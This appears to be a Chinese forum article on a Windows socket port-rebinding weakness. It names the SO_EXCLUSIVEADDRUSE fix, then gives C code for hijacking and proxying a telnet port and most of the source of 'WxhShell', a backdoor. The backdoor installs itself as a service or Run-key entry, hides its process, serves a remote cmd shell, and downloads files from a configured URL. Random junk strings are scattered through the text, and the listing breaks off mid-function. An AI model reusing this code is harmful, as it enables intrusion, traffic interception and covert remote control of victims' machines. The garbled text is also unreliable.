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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4$oNh)+/h s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [Abq("9p\ ?Id3#+-O saddr.sin_family = AF_INET; Gb4k5jl @G@,)`p4? saddr.sin_addr.s_addr = htonl(INADDR_ANY); )v
!GiZ"7 J^m#984 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E_[|ZrIO&* dkVF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dDK4I3a #N.W8mq 这意味着什么?意味着可以进行如下的攻击: UzTFT:\ fkbHfBp[(A 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M_lQ^7/ &mXJL3iN 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z~\a]MB Z?ZiK1) K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b{%p <=[,_P6| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 NCR4n_ !W4A9Th 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6O"?wN%$ |Ii[WfFA|J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h8B:}_Cu _IYd^c 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T#KF@8'-
`S$zwot #include W6%\Zwav?) #include ur7sf$ #include "*UN\VV+s #include LS;j]!CU DWORD WINAPI ClientThread(LPVOID lpParam);
RdaAS{>Sk int main() Jmg<mjq/G { Gmi ^2?Z( WORD wVersionRequested; R!{^qHb DWORD ret; jeLRS8]; WSADATA wsaData; E}6q;"[ BOOL val; v8
rK\ SOCKADDR_IN saddr; 14>WpNN SOCKADDR_IN scaddr; tQ~vLPi$ int err; *9Ta0e* SOCKET s; w{TZN{Y SOCKET sc; {x_SnZz & int caddsize; #@%DY*w]v HANDLE mt; iXLODuI DWORD tid; kd55y wVersionRequested = MAKEWORD( 2, 2 ); qV]p\/a. err = WSAStartup( wVersionRequested, &wsaData ); E0HXB1" if ( err != 0 ) { }9=X*'BO printf("error!WSAStartup failed!\n"); -7-r~zmr return -1; ^#i3JMq } 9lXjB_wG> saddr.sin_family = AF_INET; } V * \"k[y+O],4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I
"Qf};n |p_\pa1&
saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^V6cx2M saddr.sin_port = htons(23); 7 6 nrDE if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +\Uq=@ { 4f~ c#0? printf("error!socket failed!\n"); /Q]6"nY return -1; }OZut!_ } l/*NscYtQ val = TRUE; 6="Qwrk //SO_REUSEADDR选项就是可以实现端口重绑定的 0SS,fs<w3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J n>3c { P'}WmE'B}F printf("error!setsockopt failed!\n"); ''D\E6c\ return -1; ]? 2xS?vd } ~V34j: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _L8|ZV./ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "2'4b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =#=<%HPT @kh:o\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &<dC3o! { )}!Z^ND* ret=GetLastError(); 1F|e/h%^ printf("error!bind failed!\n"); dlv1liSXL5 return -1; LK>AC9ak< } ?58,Ja listen(s,2); |; [XZ ZZ while(1) mM#[XKOC< { 6&9}M Oc caddsize = sizeof(scaddr); [d dKC)tA //接受连接请求 ;D8175px; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &[yW}uV<7 if(sc!=INVALID_SOCKET) vM3 b\yp { zjE|UK{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v79k{<Ln if(mt==NULL) J^w!?nk { <ztcCRov printf("Thread Creat Failed!\n"); \|@u)n_ break; <Pn]{N } LC>bZ!(i# } -tPia=^ CloseHandle(mt); L.ML0H- } ^WF/gup\hS closesocket(s); {u}d`%_.M WSACleanup(); y@Gl'@-O return 0; 2#jBh } MA`.&MA. DWORD WINAPI ClientThread(LPVOID lpParam) B+VD53 V { aw\0\'} SOCKET ss = (SOCKET)lpParam; )swu~Wb}U@ SOCKET sc; 1XppC[)) unsigned char buf[4096]; !+EE*-c1c SOCKADDR_IN saddr; F=g+R~F long num; n9H4~[JiC DWORD val; ITssBB9 DWORD ret; 'g5 Gdn //如果是隐藏端口应用的话,可以在此处加一些判断 UG !+&ii| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 90Sp( saddr.sin_family = AF_INET; xfzGixA saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); < C1Jim saddr.sin_port = htons(23); [,a2A if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dy'
J~Eo7 { 1 !8
b9 printf("error!socket failed!\n"); X~2L return -1; b#
| } xg.o7-^M val = 100; eAl;:0=%L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rYI7V? { Z1dLC'/b] ret = GetLastError(); VN/v] return -1; huat,zLS } wZnv*t_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wm^RfxgN/ { KD =W(\ ret = GetLastError(); ,9.-A-Yw return -1; }7HR<%<7 } qdNt2SO if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ISDeLUihY { #d* )W3e2{ printf("error!socket connect failed!\n"); dX;Q\
]" closesocket(sc); qP5'&!s&! closesocket(ss); BG9.h! return -1; h0z>dLA#2 } X/qLg+X while(1) TgjM@ir { y#iQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BM>'w,$KL //如果是嗅探内容的话,可以再此处进行内容分析和记录 dWi:V7t+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [/Vi*Z num = recv(ss,buf,4096,0); &YOks.k if(num>0) 7#[8td send(sc,buf,num,0); *l.tsICmbP else if(num==0) ym*oCfu= break; xH4Qv[k
Q7 num = recv(sc,buf,4096,0); aovw'O\Q if(num>0) i"RBk% send(ss,buf,num,0); g4f:K=5: else if(num==0) o,gH* break; p:Hg>Z } 9#MY(Hr closesocket(ss); -d)+G%{ closesocket(sc); B,(zp#&yB return 0 ; S{fFpe- } c( 8>|^M 0[In5I I 61pJVOe ========================================================== _Squ%z:D lS96sjJp@ 下边附上一个代码,,WXhSHELL w#!b #TNc =im7RgIBo ========================================================== DFM~jlH (N^tg8 Z< #include "stdafx.h" 6d{&1-@> PBOZ^%k #include <stdio.h> xe@11/F #include <string.h> Vo`,|3^ #include <windows.h> 4S1\5C9 #include <winsock2.h> E(-@F%Q #include <winsvc.h> _eZ*_H,\ #include <urlmon.h> Ql]+,^kA@ ~]V}wZt>h #pragma comment (lib, "Ws2_32.lib") BI|YaZa+p #pragma comment (lib, "urlmon.lib") :lE_hY $I|6v #define MAX_USER 100 // 最大客户端连接数 UfSqiu #define BUF_SOCK 200 // sock buffer =-%10lOI #define KEY_BUFF 255 // 输入 buffer PD$'
~2 | IB4-p #define REBOOT 0 // 重启 P}~nL
#define SHUTDOWN 1 // 关机 cnraNq1 EPiZe- #define DEF_PORT 5000 // 监听端口 jt`\n1q) 60z8U#upM #define REG_LEN 16 // 注册表键长度 z)F<{]% #define SVC_LEN 80 // NT服务名长度 T*{nf O48*"Z1 // 从dll定义API 3%L@=q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <44A*ux typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kHb H{]) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *bSxobn typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <c.8f;1F gGE&}EoLU // wxhshell配置信息 "ph<V,lg struct WSCFG { +)ba9bJ| int ws_port; // 监听端口 ;ZoEqMv char ws_passstr[REG_LEN]; // 口令 wfQ^3HL int ws_autoins; // 安装标记, 1=yes 0=no b Od<x
>@ char ws_regname[REG_LEN]; // 注册表键名 FH)_L1n char ws_svcname[REG_LEN]; // 服务名 >K n7A char ws_svcdisp[SVC_LEN]; // 服务显示名 &>A<{J@VL char ws_svcdesc[SVC_LEN]; // 服务描述信息 i_f\dkol char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !hjA int ws_downexe; // 下载执行标记, 1=yes 0=no Ox%p"xuP, char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" (sqI:a char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e#odr{2#4u *!MMl]gU? }; 2bu > j1h Gy F // default Wxhshell configuration m[DCA\Mo@ struct WSCFG wscfg={DEF_PORT, 9>k_z&< "xuhuanlingzhe", 6wq>&P5 1, "[dfb#0z` "Wxhshell", O9ar|8y "Wxhshell", ^m['VK#? "WxhShell Service", ''Hx& "Wrsky Windows CmdShell Service", /Ref54 "Please Input Your Password: ", N|e#& 1, ?/q\S " http://www.wrsky.com/wxhshell.exe", 4o|<zn "Wxhshell.exe" UvF5u(o }; mqK}yK^P] @!Rklhb // 消息定义模块 Q.,2G7[ < char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u';9zk/$ char *msg_ws_prompt="\n\r? for help\n\r#>"; ./35_Vy/O char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 5tl($j char *msg_ws_ext="\n\rExit."; Q 6n!u; char *msg_ws_end="\n\rQuit."; 3I G<Ot9 char *msg_ws_boot="\n\rReboot..."; "A]#KTP char *msg_ws_poff="\n\rShutdown..."; yJ4ZB/ZQ char *msg_ws_down="\n\rSave to "; L*FQ`:lZ X/ lmj_v char *msg_ws_err="\n\rErr!"; tID=I0D char *msg_ws_ok="\n\rOK!"; "\+.S]~ 6d(D>a char ExeFile[MAX_PATH]; I8f=' int nUser = 0; B[s HANDLE handles[MAX_USER]; w:+&i|H >
int OsIsNt; d_7hh IictX"3lh SERVICE_STATUS serviceStatus; ,c,@WQ2:- SERVICE_STATUS_HANDLE hServiceStatusHandle; PiN^/#D uN4e n, // 函数声明 ]d~2WX Y int Install(void); 89x;~D1 int Uninstall(void); ?$#P
=VK int DownloadFile(char *sURL, SOCKET wsh); UM<!bNz` int Boot(int flag); 8j)*T9 void HideProc(void); _<KUa\ int GetOsVer(void); =&F~GCZ> int Wxhshell(SOCKET wsl); R PdFLC/ void TalkWithClient(void *cs); :%>)S int CmdShell(SOCKET sock); )4TP{tp int StartFromService(void); E[cH/Rm int StartWxhshell(LPSTR lpCmdLine); Bo$dIn2_ rK\9#[?x VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F+ %l=
fs VOID WINAPI NTServiceHandler( DWORD fdwControl ); ERy=lP~gV C55Av%-= // 数据结构和表定义 tl;b~k SERVICE_TABLE_ENTRY DispatchTable[] = wJC F"e { 82iFk`)T {wscfg.ws_svcname, NTServiceMain}, sYbmL`{ {NULL, NULL} SBI*[ }; nS](d2 .C` YO2, // 自我安装 zpjE_| int Install(void) ]$=#:uf { !t+ 3DMPn char svExeFile[MAX_PATH]; c \;_jg HKEY key; G6dUm_iB strcpy(svExeFile,ExeFile); qOy0QZ#0 /0o#V-E) // 如果是win9x系统,修改注册表设为自启动 msY6zJc` if(!OsIsNt) { c:[ZknnCe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &?$mS'P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aS``fE;O RegCloseKey(key); bct8~dY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,m8mh)K?0> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >}: RegCloseKey(key); THARr#1b}; return 0; [+_>g4M~% } a`R_}nus* } ]tzF
Ob } 7pou(U else { md,KRE A $i^/hJs // 如果是NT以上系统,安装为系统服务 q[GDK^-g
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lQd7p+21 if (schSCManager!=0) fm L8n<1 { Gt+rVJ=v SC_HANDLE schService = CreateService 53 -Owjpx ( )KEW`BC5T schSCManager, +I?k8',pi wscfg.ws_svcname, 4,>9N9.?9 wscfg.ws_svcdisp, 9w~SzpJ% SERVICE_ALL_ACCESS, F0~<p[9Nx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &B]1 VZUp SERVICE_AUTO_START, 9VanR
::XX SERVICE_ERROR_NORMAL, :yRv:`r3Lt svExeFile, 3I(;c ,S NULL, K:^0*5Y-k NULL, `2hg?(ul NULL, oEX^U4/= NULL, 91]sO%3 NULL k<5g ); >ZW|wpO if (schService!=0) Y2;2Exp^ { T];dFv-GT CloseServiceHandle(schService); uuxVVgWp{ CloseServiceHandle(schSCManager); s_a jA strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \EsT1aT strcat(svExeFile,wscfg.ws_svcname); ~>HzAo9e if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6oKdw|(Q# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'uE;8., RegCloseKey(key); .T)wG;+ return 0; .!Pg)| } #?V rt,n } Inn{mmz
1 CloseServiceHandle(schSCManager); b]fx } dOa9D } v+I-*,R \H~zN]3^
return 1; vP=68muD } 78Du 6T4I,XrY_F // 自我卸载 bK.*v4RG int Uninstall(void) X^Z!!KTH { ![sXR HKEY key; wYg!H>5 L SP p if(!OsIsNt) { '&'m#H*: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9}u,`& RegDeleteValue(key,wscfg.ws_regname); Xjkg7p,HD@ RegCloseKey(key); /isalOT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JhfVm*, RegDeleteValue(key,wscfg.ws_regname); Fs].Fa RegCloseKey(key); vbVOWX6 return 0; N0.|Mb"?t } E5$]0#jB } ?3p7MjvZ } 15,JD else { p[(I5p:L A4'5cR9T! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,zltNbu\.( if (schSCManager!=0) !
5NuFLOf { z9*e%$+S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :nQlS if (schService!=0) I O:*F0 { h%krA<G9 if(DeleteService(schService)!=0) { o6d x\ CloseServiceHandle(schService); t*=[RS* CloseServiceHandle(schSCManager); ATl?./T u return 0; W*t]
d } wWy;dma# CloseServiceHandle(schService); TI8r/P?
]V } fEX=csZ86 CloseServiceHandle(schSCManager); mL=d EQ } )@X0'X< } aL( hWE QYboX~g~p return 1; j/z=<jA } >m>F {v ca{MJz' // 从指定url下载文件 Q-n8~Ey1a int DownloadFile(char *sURL, SOCKET wsh) ;~EQS.Qp { d51'[?( HRESULT hr; Aj)Q#Fd[ char seps[]= "/"; xwf-kwF8^ char *token; nUOi~cs char *file; t/\ char myURL[MAX_PATH]; ?B1Zfu0 char myFILE[MAX_PATH]; pA6KiY& !g9k9 l strcpy(myURL,sURL); V}Y*Yv token=strtok(myURL,seps); E4L?4>V@\ while(token!=NULL) ]7O<|8n!d { W&IG,7tr file=token; Wn'a' token=strtok(NULL,seps); { aUnOyX_ } A^>@6d $2 3R3H+W0{ GetCurrentDirectory(MAX_PATH,myFILE); ~w+I2oS$ strcat(myFILE, "\\"); )1uiY
f&k strcat(myFILE, file); S^eem_C send(wsh,myFILE,strlen(myFILE),0); (-21h0N[V send(wsh,"...",3,0); Do/R.Mgy* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x#J9GP. if(hr==S_OK) U`%t&7) return 0; j#1G?MF else UqOBr2UmG return 1; mdWA5p( #h5lz%2g } @-'a{hBR R}ki%i5| // 系统电源模块 "bm|p/A int Boot(int flag) 5#,H&ui\ { \8 `7E1d HANDLE hToken; dFm_"135 TOKEN_PRIVILEGES tkp; X
zJ#)}f {A/r) if(OsIsNt) { ;
oyV8P$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hOY@vm& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N1a]y/
tkp.PrivilegeCount = 1; wJy]Vyd tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HwUaaK
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mg;pNK\n if(flag==REBOOT) { Vu:ZG*^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [';o -c"! return 0; ,/\`Rc^n } q)?%END else { 9/k2zXY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jHFjd' return 0; Ew/MSl6} } ZcN0:xU } >Xn,jMUW else { y2A\7&7 if(flag==REBOOT) { <=4$.2ym if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =Z\q``RBy return 0; h`&TDB2 } T3wTMbZ!VK else { ^E70$yB^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `<YMkp[ return 0; 7{#p'.nc5 } JHxcHh } LJeq{Z REh"/d return 1; E{,WpU } La ?A@SD G*=HjLmZg // win9x进程隐藏模块 L4 po1 void HideProc(void) 8-;.Ejz!\A { dn h qg3Y >WZ.Dj0n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OX;bA^+}P if ( hKernel != NULL ) 4@{;z4*` { zA#pgX[# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H:G``Vq;0m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i+`8$uz FreeLibrary(hKernel); (%^C}`|EA } nAP*w6m0j K_MEd1l return; g2f"tu_/% } (Yy#:r;U qsj$u-xhX // 获取操作系统版本 dpW`e>o int GetOsVer(void) upMs yLp( { Y1Ql_ OSVERSIONINFO winfo; {MtJP:8Jp winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RPX.?;": GetVersionEx(&winfo); \#[DZOI~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [vr"FLM|9 return 1; 94!}
Z> else _N5pxe` return 0; 27Gff(
} |;J`~H"K 1feVFRx' // 客户端句柄模块 Sstz_t int Wxhshell(SOCKET wsl) tar/n o { R&!;(k0 SOCKET wsh; Wps^wY struct sockaddr_in client; :a8Sy(" DWORD myID; *$cx7yJ 'l<#;{ while(nUser<MAX_USER) myo4`oH { nzbVI int nSize=sizeof(client); P,8TO-e7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &DW !$b if(wsh==INVALID_SOCKET) return 1; >_Tyzl>z OI Fjc0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HDhkg-QC if(handles[nUser]==0) PVi;h%>Y closesocket(wsh); %|4Kak]:Q else OTYkJEC8\N nUser++; H0b{`!'Fs: } D{t_65c- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;-JF1p 7; b0}dy\dnQ return 0; d\-*Fmp(S } bM'F8Fi -medD G // 关闭 socket $\m:}\%p void CloseIt(SOCKET wsh) h8WM4
PK { X!V#:2JY closesocket(wsh); GYtgw9 "Y nUser--; 0=+feB1T ExitThread(0); z$QoMq] } GN(,` y fx>QP?Z // 客户端请求句柄 1TEKq#t;y void TalkWithClient(void *cs) }se3y { |7K>` wKJ|;o4;L SOCKET wsh=(SOCKET)cs; _ow7E\70 char pwd[SVC_LEN]; \E c*Gq?. char cmd[KEY_BUFF]; -V2f.QE% char chr[1]; `\##M= int i,j; `)$G}7cRUH 8i^
./P while (nUser < MAX_USER) { $J4)z&%dr H{*rV>% if(wscfg.ws_passstr) { jcC"vr'u| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) M8,Tv*~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zv"NbN //ZeroMemory(pwd,KEY_BUFF); SWtqp(h]' i=0; Xtz29 while(i<SVC_LEN) { OGW3Pe0Z' aQHR=.S]X // 设置超时 ;eo}/-a_Xw fd_set FdRead; ^$`mS&3/q struct timeval TimeOut; ;[4=?GL* FD_ZERO(&FdRead); Fsl="RB7f FD_SET(wsh,&FdRead); O=LW[h! TimeOut.tv_sec=8; \R9izuc9 TimeOut.tv_usec=0; [zl4"|_` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'Jek<
5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !5'4FUlJ s3sD7 @ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b*tb$F pwd =chr[0]; Js:U1q if(chr[0]==0xd || chr[0]==0xa) { ;I@\}!%H pwd=0; /)RH-_63 break; `
,SNq i } 3
[#Rm>,Vu i++; P(-
} /j3",N+I ZJ+ad,?, // 如果是非法用户,关闭 socket VL5VYv=: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k&L/JzzI } -G7)Y: KL!cPnAUu send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \HrtPm`e send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cBbumf 9C r#oJch= while(1) {
|Ch,C o[RwK ZeroMemory(cmd,KEY_BUFF); q77qdmq7 |aU8WRq // 自动支持客户端 telnet标准 9,&xG\z= j=0; gB%"JDn8 while(j<KEY_BUFF) { ]Ar,HaX- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RnC+]J+?4 cmd[j]=chr[0]; GJ`._ju if(chr[0]==0xa || chr[0]==0xd) { -Ju;i< cmd[j]=0; I5QtPqB> break; sZ7,7E|_ } XgXXBKf$ j++; hwvi tD!0 } }(DH_0 1=T;6 8B // 下载文件 @*|UyK. if(strstr(cmd,"http://")) { ]a.^F send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;"#y HP` if(DownloadFile(cmd,wsh)) 2~QJ]qo = send(wsh,msg_ws_err,strlen(msg_ws_err),0); db_}][;.c else Y~!A"$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? [5>! } F/1m&1t else { B#`'h~(7 SmvMjZ+7Y switch(cmd[0]) { gH,Pz h 2JmRO // 帮助 xCWS case '?': { t_16icF9U send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PJ&L7 break; $0OOH4 } &PApO{#Q // 安装 ai?N!RX%H case 'i': { O#):*II`9 if(Install()) yJ]Va $M send(wsh,msg_ws_err,strlen(msg_ws_err),0); HCkfw+gaV else V
)UtU
L send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3b#L*- break; F&+qd`8J } %CnNu // 卸载 ]
>w@@A case 'r': { &tf(vU;,' if(Uninstall()) Z'uiU e`& send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0s{7=Ef else ~H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }kItVx break; n'q:L(`M } 79}jK"Gc // 显示 wxhshell 所在路径 oD9L5c) case 'p': { Y-st2r[, char svExeFile[MAX_PATH]; 4{vEW( strcpy(svExeFile,"\n\r"); z%T|L[(6 strcat(svExeFile,ExeFile); L AA(2 send(wsh,svExeFile,strlen(svExeFile),0); ^Z\"d#A break; zG/? wP" } k?L2LIB< // 重启 !J!&JQ| case 'b': { _emW#*V send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h<>yzr3fN if(Boot(REBOOT)) 3HuGb^SNg send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6rD]6#D else { E8R;S}PA closesocket(wsh); S-3hLw&? ExitThread(0); RjgJIVm( } ":s_O. break; WcM\4q@ } >KdV]!H // 关机 X's<+hK& case 'd': { #pK"
^O*! send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S-Bx`e9 ' if(Boot(SHUTDOWN)) i'>5vU0?3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); )cP)HbOd= else { 4 83rU closesocket(wsh); v4'kV:;& ExitThread(0); dkDPze9l } wsH _pF break;
q~W:W}z } bX:h"6{=R // 获取shell ;b1B*B case 's': { i`+bSg CmdShell(wsh); T,>L closesocket(wsh); nfGI4ZE ExitThread(0); kQ lwl9 break; N]|>\ } cL03V? }
~ // 退出 rMZuiRz* case 'x': { B@6L<oZ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )i[Vq|n CloseIt(wsh); -TG ="U break; b8YdONdy } Kdp($L9r // 离开 G-RDQ case 'q': { :lvBcFw send(wsh,msg_ws_end,strlen(msg_ws_end),0); idX''%" closesocket(wsh); 0x]?rd+q8Q WSACleanup(); <Up?w/9 exit(1); kmt1vV.9 break; bJD$!*r\%! } |Nj6RB7 } m~Q24Z]!'& } ]PoWL;E' Sx e6& // 提示信息 v0E6i!D/ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fxr#T'i } YC56]Zp } 6W=V8 S
>CKm:7 return; btq4diW } k>.8 lc\ ]Zc|<f; // shell模块句柄 6Xm'^T int CmdShell(SOCKET sock) /"u37f?[^ { 324XoMO STARTUPINFO si; {)!>e ZeroMemory(&si,sizeof(si)); GfEWms8z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7dACbqba si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O x-eB PROCESS_INFORMATION ProcessInfo; Z
f\~Cl char cmdline[]="cmd"; bP#!U'b" = CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @v#P u_ return 0; \y=oZk4 } "z3rH~q72 _(kaa WJ // 自身启动模式 Cgh84
2% int StartFromService(void) Xw!\,"{s { zp1ym}9M typedef struct ` K{k0_{ { z^Ikb(KC DWORD ExitStatus; [{BY$"b#: DWORD PebBaseAddress; 5Q"w{ n DWORD AffinityMask; f6`GU$H DWORD BasePriority; U{hu7 ULONG UniqueProcessId; Op?"G ULONG InheritedFromUniqueProcessId; n%J=!z3 } PROCESS_BASIC_INFORMATION; +W*~=*h| HRDpFMA/~ PROCNTQSIP NtQueryInformationProcess; qclc--fsE U"p</Q static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &.*UVc2+Y static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X(nyTR8 )XK\[tL HANDLE hProcess; #T^2=7 w PROCESS_BASIC_INFORMATION pbi; 6,3o_"J! ^1bslCe HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !ou#g5Q@z if(NULL == hInst ) return 0; A:r?#7 Ma K -rR)-rI g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); - Fbp!*.
u g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 67&
